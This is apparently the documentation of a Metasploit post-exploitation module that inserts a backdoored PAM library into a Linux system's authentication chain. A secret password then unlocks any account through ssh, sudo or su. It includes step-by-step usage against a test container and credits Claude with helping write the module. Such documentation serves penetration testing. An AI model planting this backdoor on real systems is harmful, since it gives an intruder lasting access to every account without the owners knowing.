pam auth backdoor

[h00die]

This module allows a user to upload a pam so file (or compile on system if not x64) into the auth chain. If a user provides the secret password (generated at random) then auth is successful for any user. If they don't use the secret password, auth will default back to the original methods. This effectively backdoors all accounts on the system if a password is required (ssh password auth, sudo, su, etc etc).

Claude assisted with this module.

Verification

1. Build and start the Docker test container (see above)
2. Start msfconsole
3. Obtain a root shell session on the target
4. use post/linux/manage/pam_backdoor
5. set SESSION <id>
6. Optionally: set BACKDOOR_PASS [password]
7. run
8. From another terminal: ssh -p 2222 user@127.0.0.1 and enter [password] — login succeeds